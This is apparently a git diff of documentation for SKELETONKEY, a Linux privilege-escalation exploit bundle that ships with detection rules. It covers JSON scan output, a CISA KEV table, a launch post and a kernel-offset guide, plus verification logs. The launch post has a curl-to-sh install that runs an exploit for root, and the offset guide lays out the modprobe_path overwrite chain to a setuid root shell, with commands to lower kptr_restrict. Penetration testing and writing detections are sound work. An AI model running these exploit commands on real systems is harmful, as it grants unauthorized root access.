| 2 | At least one module returned `VULNERABLE`. Patch the host. |
|
||||
| 4 | At least one module returned `PRECOND_FAIL` (and none worse). Host has reduced attack surface but is not necessarily safe. |
|
||||
|
||||
(Process exit codes 3 and 5 are exclusive to the `--exploit` /
|
||||
`--auto` modes and never appear in `--scan` output.)
|
||||
|
||||
## Example: invoking + parsing
|
||||
|
||||
```bash
|
||||
# capture pure JSON
|
||||
skeletonkey --scan --json --no-color > host-$(hostname).json 2> /dev/null
|
||||
|
||||
# any vulnerable modules?
|
||||
jq -e '.modules[] | select(.result == "VULNERABLE") | .name' host-*.json
|
||||
|
||||
# fleet roll-up — modules vulnerable across the fleet, by frequency
|
||||
jq -s 'map(.modules[] | select(.result == "VULNERABLE") | .name)
|
||||
| flatten | group_by(.) | map({mod: .[0], count: length})
|
||||
| sort_by(-.count)' host-*.json
|
||||
```
|
||||
|
||||
`jq -e` exits non-zero when its selector matches nothing, giving the
|
||||
fleet runner a per-host "any-vulnerable" boolean without parsing the
|
||||
document.
|
||||
|
||||
## Stability promises
|
||||
|
||||
**Stable across non-major releases:**
|
||||
|
||||
- Field names listed in the tables above (`version`, `modules`, `name`,
|
||||
`cve`, `result`).
|
||||
- The `result` enum string set. New result strings cannot appear
|
||||
without a major version bump.
|
||||
- The `modules` array containing exactly one entry per registered
|
||||
module.
|
||||
- Exit-code semantics for `--scan`.
|
||||
|
||||
**May change without notice:**
|
||||
|
||||
- The `modules` array length, ordering, and contents (new modules are
|
||||
added regularly; ordering follows registration order which is
|
||||
stable per release but not a contract).
|
||||
- Whitespace / formatting of the JSON itself (consumers MUST parse,
|
||||
not regex).
|
||||
- Field values for `cve` (a stub variant could gain a real CVE later).
|
||||
|
||||
**May be added in future minor versions:**
|
||||
|
||||
- New per-module fields (e.g. `family`, `summary`, `safety_rank`,
|
||||
`kernel_range`). Consumers MUST ignore unknown fields.
|
||||
- New top-level fields (e.g. `host_fingerprint`, `scan_started_at`,
|
||||
`schema_version`). Consumers MUST ignore unknown fields.
|
||||
- A `--scan --active --json` output may grow per-probe verdict
|
||||
metadata under a new `probe` sub-object.
|
||||
|
||||
## Recommended consumer pattern
|
||||
|
||||
```python
|
||||
import json, subprocess, sys
|
||||
|
||||
doc = json.loads(subprocess.check_output(
|
||||
["skeletonkey", "--scan", "--json", "--no-color"],
|
||||
stderr=subprocess.DEVNULL,
|
||||
))
|
||||
|
||||
assert doc["version"], "missing top-level version"
|
||||
for mod in doc["modules"]:
|
||||
assert mod["name"] and mod["cve"] and mod["result"], \
|
||||
f"malformed module entry: {mod!r}"
|
||||
if mod["result"] == "VULNERABLE":
|
||||
print(f"{mod['name']} ({mod['cve']}): VULNERABLE", file=sys.stderr)
|
||||
```
|
||||
|
||||
Ignore unknown fields. Match `result` against the enum, but treat
|
||||
unknown strings as `TEST_ERROR`-equivalent (forward-compat).
|
||||
@@ -0,0 +1,62 @@
|
||||
# CISA KEV Cross-Reference
|
||||
|
||||
Which SKELETONKEY modules cover CVEs that CISA has observed exploited
|
||||
in the wild per the Known Exploited Vulnerabilities catalog.
|
||||
Refreshed via `tools/refresh-cve-metadata.py`.
|
||||
|
||||
**13 of 41 modules cover KEV-listed CVEs.**
|
||||
|
||||
## In KEV (prioritize patching)
|
||||
|
||||
| CVE | Date added to KEV | CWE | Module |
|
||||
| --- | --- | --- | --- |
|
||||
| CVE-2019-13272 | 2021-12-10 | ? | `ptrace_traceme_cve_2019_13272` |
|
||||
| CVE-2016-5195 | 2022-03-03 | CWE-362 | `dirty_cow_cve_2016_5195` |
|
||||
| CVE-2021-3156 | 2022-04-06 | CWE-193 | `sudo_samedit_cve_2021_3156` |
|
||||
| CVE-2022-0847 | 2022-04-25 | CWE-665 | `dirty_pipe_cve_2022_0847` |
|
||||
| CVE-2021-4034 | 2022-06-27 | CWE-787 | `pwnkit_cve_2021_4034` |
|
||||
| CVE-2021-3493 | 2022-10-20 | CWE-270 | `overlayfs_cve_2021_3493` |
|
||||
| CVE-2024-1086 | 2024-05-30 | CWE-416 | `nf_tables_cve_2024_1086` |
|
||||
| CVE-2022-0185 | 2024-08-21 | CWE-190 | `fuse_legacy_cve_2022_0185` |
|
||||
| CVE-2023-0386 | 2025-06-17 | CWE-282 | `overlayfs_setuid_cve_2023_0386` |
|
||||
| CVE-2025-32463 | 2025-09-29 | CWE-829 | `sudo_chwoot_cve_2025_32463` |
|
||||
| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
|
||||
| CVE-2018-14634 | 2026-01-26 | CWE-190 | `mutagen_astronomy_cve_2018_14634` |
|
||||
| CVE-2022-0492 | 2026-06-02 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
||||
|
||||
## Not in KEV
|
||||
|
||||
Not observed exploited per CISA — but several have public PoC code
|
||||
and are technically reachable. "Not in KEV" is not the same as
|
||||
"safe to ignore".
|
||||
|
||||
| CVE | CWE | Module |
|
||||
| --- | --- | --- |
|
||||
| CVE-2017-7308 | CWE-681 | `af_packet_cve_2017_7308` |
|
||||
| CVE-2019-14287 | CWE-755 | `sudo_runas_neg1_cve_2019_14287` |
|
||||
| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
|
||||
| CVE-2020-29661 | CWE-416 | `tioscpgrp_cve_2020_29661` |
|
||||
| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
|
||||
| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
|
||||
| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
|
||||
| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
|
||||
| CVE-2023-0458 | CWE-476 | `entrybleed_cve_2023_0458` |
|
||||
| CVE-2023-2008 | CWE-129 | `vmwgfx_cve_2023_2008` |
|
||||
| CVE-2023-22809 | CWE-269 | `sudoedit_editor_cve_2023_22809` |
|
||||
| CVE-2023-32233 | CWE-416 | `nft_set_uaf_cve_2023_32233` |
|
||||
| CVE-2023-3269 | CWE-416 | `stackrot_cve_2023_3269` |
|
||||
| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
|
||||
| CVE-2024-26581 | ? | `nft_pipapo_cve_2024_26581` |
|
||||
| CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` |
|
||||
| CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` |
|
||||
| CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` |
|
||||
| CVE-2026-23111 | CWE-416 | `nft_catchall_cve_2026_23111` |
|
||||
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
|
||||
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
|
||||
| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
|
||||
| CVE-2026-43499 | CWE-416 | `ghostlock_cve_2026_43499` |
|
||||
| CVE-2026-46242 | CWE-416 | `bad_epoll_cve_2026_46242` |
|
||||
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
|
||||
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
|
||||
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
|
||||
| CVE-2026-64600 | ? | `refluxfs_cve_2026_64600` |
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
# SKELETONKEY — launch post
|
||||
|
||||
> Copy-pasteable for HN, lobste.rs, mastodon, blog. ~600 words.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY: a curated Linux LPE corpus with detection rules baked in
|
||||
|
||||
The Linux privilege-escalation space is fragmented. Single-CVE PoC
|
||||
repos go stale within months. `linux-exploit-suggester` tells you
|
||||
what *might* work but doesn't run anything. `auto-root-exploit` and
|
||||
`kernelpop` bundle exploits but ship no detection signatures and
|
||||
haven't been maintained in years.
|
||||
|
||||
**SKELETONKEY** is one curated binary that:
|
||||
|
||||
1. Fingerprints the host's kernel / distro / sudo / userland.
|
||||
2. Reports which of 28 bundled CVEs that host is still vulnerable
|
||||
to — covering 2016 through 2026.
|
||||
3. With explicit `--i-know` authorization, runs the safest one and
|
||||
gets you root.
|
||||
4. Ships matching **auditd + sigma rules** for every CVE so blue
|
||||
teams get the same coverage when they deploy it.
|
||||
|
||||
### One command
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
`--auto` ranks vulnerable modules by **exploit safety** —
|
||||
structural escapes (no kernel state touched) first, then page-cache
|
||||
writes, then userspace cred-races, then kernel primitives, then
|
||||
kernel races last — and runs the safest match. If it fails it falls
|
||||
back gracefully and tells you the next candidates to try manually.
|
||||
|
||||
### What's in the corpus
|
||||
|
||||
- **Userspace LPE**: pwnkit (CVE-2021-4034), sudo Baron Samedit
|
||||
(CVE-2021-3156), sudoedit EDITOR escape (CVE-2023-22809)
|
||||
- **Page-cache writes**: dirty_pipe (CVE-2022-0847), dirty_cow
|
||||
(CVE-2016-5195), copy_fail family (CVE-2026-31431, 43284, 43500)
|
||||
- **Container/namespace**: cgroup_release_agent (CVE-2022-0492),
|
||||
overlayfs (CVE-2021-3493), overlayfs_setuid (CVE-2023-0386),
|
||||
fuse_legacy (CVE-2022-0185)
|
||||
- **Kernel primitives**: netfilter (4 CVEs from 2022→2024),
|
||||
af_packet (CVE-2017-7308, CVE-2020-14386), cls_route4
|
||||
(CVE-2022-2588), netfilter_xtcompat (CVE-2021-22555)
|
||||
- **Kernel races**: stackrot (CVE-2023-3269), af_unix_gc
|
||||
(CVE-2023-4622), Sequoia (CVE-2021-33909)
|
||||
- **Side channels**: EntryBleed kbase leak (CVE-2023-0458)
|
||||
- **Graphics**: vmwgfx DRM OOB (CVE-2023-2008)
|
||||
- **Userspace classic**: PTRACE_TRACEME (CVE-2019-13272)
|
||||
|
||||
Full inventory at
|
||||
[CVES.md](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md).
|
||||
|
||||
### The verified-vs-claimed bar
|
||||
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets. Modules with a kernel primitive but no per-kernel
|
||||
cred-overwrite chain default to firing the primitive + grooming the
|
||||
slab + recording an empirical witness, then return
|
||||
`EXPLOIT_FAIL` honestly. The opt-in `--full-chain` engages the
|
||||
shared `modprobe_path` finisher with sentinel-arbitrated success
|
||||
(it only claims root when a setuid bash actually materializes).
|
||||
|
||||
When `--full-chain` needs kernel offsets, you populate them once on
|
||||
a target kernel via `skeletonkey --dump-offsets` (parses
|
||||
`/proc/kallsyms` or `/boot/System.map`) and either set env vars or
|
||||
upstream the entry to `core/offsets.c kernel_table[]` via PR.
|
||||
|
||||
### For each side of the house
|
||||
|
||||
- **Red team**: stop curating broken PoCs. One tested binary, fresh
|
||||
releases, honest scope reporting.
|
||||
- **Sysadmins**: one command, no SaaS, JSON output for CI gates.
|
||||
Fleet-scan tool included.
|
||||
- **Blue team**: `skeletonkey --detect-rules --format=auditd | sudo
|
||||
tee /etc/audit/rules.d/99-skeletonkey.rules` and you have coverage
|
||||
for every CVE in the bundle. Sigma + YARA + Falco output also
|
||||
supported.
|
||||
|
||||
### Status + roadmap
|
||||
|
||||
v0.5.0 today: 28 modules, all build clean on Debian 13 / kernel
|
||||
6.12, all refuse-on-patched verified. The embedded offset table is
|
||||
empty — operator-populated. Next: empirical validation on a
|
||||
multi-distro vuln-kernel VM matrix, then offset-table community
|
||||
seeding for common cloud builds.
|
||||
|
||||
MIT. Each module credits the original CVE reporter and PoC author
|
||||
in its `NOTICE.md`. The research credit belongs to the people who
|
||||
found the bugs; SKELETONKEY is the bundling layer.
|
||||
|
||||
**Repo:** https://github.com/KaraZajac/SKELETONKEY
|
||||
**Release:** https://github.com/KaraZajac/SKELETONKEY/releases/latest
|
||||
|
||||
Authorized testing only. Read [docs/ETHICS.md](ETHICS.md) before you
|
||||
point this at anything you don't own.
|
||||
+27
-27
@@ -1,20 +1,20 @@
|
||||
# IAMROOT — kernel offset resolution
|
||||
# SKELETONKEY — kernel offset resolution
|
||||
|
||||
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||
write, slab UAF, etc.). The default `--exploit` returns
|
||||
`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
|
||||
`SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
|
||||
bar means we don't claim root unless we empirically have it.
|
||||
|
||||
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
|
||||
converts the primitive to a real root pop via `modprobe_path` overwrite:
|
||||
|
||||
```
|
||||
attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh")
|
||||
→ execve("/tmp/iamroot-trig-<pid>") # unknown-format binary
|
||||
attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-<pid>.sh")
|
||||
→ execve("/tmp/skeletonkey-trig-<pid>") # unknown-format binary
|
||||
→ kernel call_modprobe() # spawns modprobe_path as init
|
||||
→ /tmp/iamroot-mp-<pid>.sh runs as root
|
||||
→ cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid>
|
||||
→ caller exec /tmp/iamroot-pwn-<pid> -p
|
||||
→ /tmp/skeletonkey-mp-<pid>.sh runs as root
|
||||
→ cp /bin/bash /tmp/skeletonkey-pwn-<pid>; chmod 4755 /tmp/skeletonkey-pwn-<pid>
|
||||
→ caller exec /tmp/skeletonkey-pwn-<pid> -p
|
||||
→ root shell
|
||||
```
|
||||
|
||||
@@ -27,14 +27,14 @@ address) at runtime.
|
||||
non-zero value for each field:
|
||||
|
||||
1. **Environment variables** — operator override.
|
||||
- `IAMROOT_KBASE=0x...`
|
||||
- `IAMROOT_MODPROBE_PATH=0x...`
|
||||
- `IAMROOT_POWEROFF_CMD=0x...`
|
||||
- `IAMROOT_INIT_TASK=0x...`
|
||||
- `IAMROOT_INIT_CRED=0x...`
|
||||
- `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
|
||||
- `IAMROOT_CRED_OFFSET_EFF=0x...`
|
||||
- `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
|
||||
- `SKELETONKEY_KBASE=0x...`
|
||||
- `SKELETONKEY_MODPROBE_PATH=0x...`
|
||||
- `SKELETONKEY_POWEROFF_CMD=0x...`
|
||||
- `SKELETONKEY_INIT_TASK=0x...`
|
||||
- `SKELETONKEY_INIT_CRED=0x...`
|
||||
- `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
|
||||
- `SKELETONKEY_CRED_OFFSET_EFF=0x...`
|
||||
- `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
|
||||
|
||||
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
|
||||
OR you're already root. On modern distros (kptr_restrict=1 by
|
||||
@@ -60,18 +60,18 @@ non-zero value for each field:
|
||||
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
|
||||
|
||||
# Use the addresses inline:
|
||||
IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
|
||||
iamroot --exploit nf_tables --i-know --full-chain
|
||||
SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \
|
||||
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||
```
|
||||
|
||||
### Automated dump (preferred for upstreaming)
|
||||
|
||||
`iamroot --dump-offsets` walks the four-source chain itself and emits
|
||||
`skeletonkey --dump-offsets` walks the four-source chain itself and emits
|
||||
a ready-to-paste C struct entry on stdout:
|
||||
|
||||
```bash
|
||||
sudo iamroot --dump-offsets
|
||||
# /* Generated 2026-05-16 by `iamroot --dump-offsets`.
|
||||
sudo skeletonkey --dump-offsets
|
||||
# /* Generated 2026-05-16 by `skeletonkey --dump-offsets`.
|
||||
# * Host kernel: 5.15.0-56-generic distro=ubuntu
|
||||
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
|
||||
# * Paste this entry into kernel_table[] in core/offsets.c.
|
||||
@@ -88,21 +88,21 @@ sudo iamroot --dump-offsets
|
||||
```
|
||||
|
||||
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
|
||||
and the new entry covers every IAMROOT user on that kernel. Open a
|
||||
and the new entry covers every SKELETONKEY user on that kernel. Open a
|
||||
PR to upstream it.
|
||||
|
||||
### Per-host (write System.map readable)
|
||||
|
||||
```bash
|
||||
sudo chmod 0644 /boot/System.map-$(uname -r)
|
||||
iamroot --exploit nf_tables --i-know --full-chain
|
||||
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||
```
|
||||
|
||||
### Per-boot (lower kptr_restrict)
|
||||
|
||||
```bash
|
||||
sudo sysctl kernel.kptr_restrict=0
|
||||
iamroot --exploit nf_tables --i-know --full-chain
|
||||
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||
```
|
||||
|
||||
Note: each of these requires root *once*. For a true non-root LPE on
|
||||
@@ -144,14 +144,14 @@ build + distro you tested against. Upstreamed entries make the
|
||||
|
||||
## Verifying success
|
||||
|
||||
The shared finisher (`iamroot_finisher_modprobe_path()`) drops a
|
||||
sentinel file at `/tmp/iamroot-pwn-<pid>` after `modprobe` runs our
|
||||
The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a
|
||||
sentinel file at `/tmp/skeletonkey-pwn-<pid>` after `modprobe` runs our
|
||||
payload. The finisher polls for this file with `S_ISUID` mode set
|
||||
for up to 3 seconds. Only when the sentinel materializes does the
|
||||
module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec
|
||||
module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec
|
||||
the setuid bash to drop a root shell.
|
||||
|
||||
If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL`
|
||||
If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL`
|
||||
with a diagnostic. Reasons it might fail even with offsets resolved:
|
||||
|
||||
- The arb-write didn't actually land (slab adjacency lost, value-pointer
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,60 @@
|
||||
{"module":"pwnkit","verified_at":"2026-05-23T19:26:02Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"cgroup_release_agent","verified_at":"2026-05-23T19:32:07Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"netfilter_xtcompat","verified_at":"2026-05-23T19:33:56Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"fuse_legacy","verified_at":"2026-05-23T19:35:49Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:43:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:44:38Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"entrybleed","verified_at":"2026-05-23T19:50:32Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs","verified_at":"2026-05-23T19:52:09Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs_setuid","verified_at":"2026-05-23T19:54:09Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T19:56:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"nft_fwd_dup","verified_at":"2026-05-23T19:57:46Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-05-23T19:59:24Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-05-23T20:00:52Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:02:23Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:04:20Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"cls_route4","verified_at":"2026-05-23T20:13:16Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_payload","verified_at":"2026-05-23T20:15:45Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet2","verified_at":"2026-05-23T20:18:13Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sequoia","verified_at":"2026-05-23T20:20:38Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-05-23T20:23:07Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-05-23T20:23:51Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:24:35Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:25:19Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T20:26:02Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:27:39Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:28:23Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"nf_tables","verified_at":"2026-05-23T21:22:59Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_unix_gc","verified_at":"2026-05-23T21:27:13Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_set_uaf","verified_at":"2026-05-23T21:30:41Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"stackrot","verified_at":"2026-05-23T21:34:12Z","host_kernel":"6.1.10-060110-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_chwoot","verified_at":"2026-05-24T02:39:11Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"udisks_libblockdev","verified_at":"2026-05-24T02:44:17Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_pipapo","verified_at":"2026-05-24T03:27:10Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"refluxfs","verified_at":"2026-07-23T21:45:28Z","host_kernel":"5.14.0-687.10.1.el9_8.0.1.x86_64","host_distro":"Rocky Linux 9.8 (Blue Onyx)","vm_box":"rocky9-genericcloud/qemu-kvm","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/","status":"root"}
|
||||
{"module":"pwnkit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/ (after gconv-layout fix)","status":"root"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423), sudo 1.8.31","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none — honest fail (heap not landed)","status":"exploit_fail_honest"}
|
||||
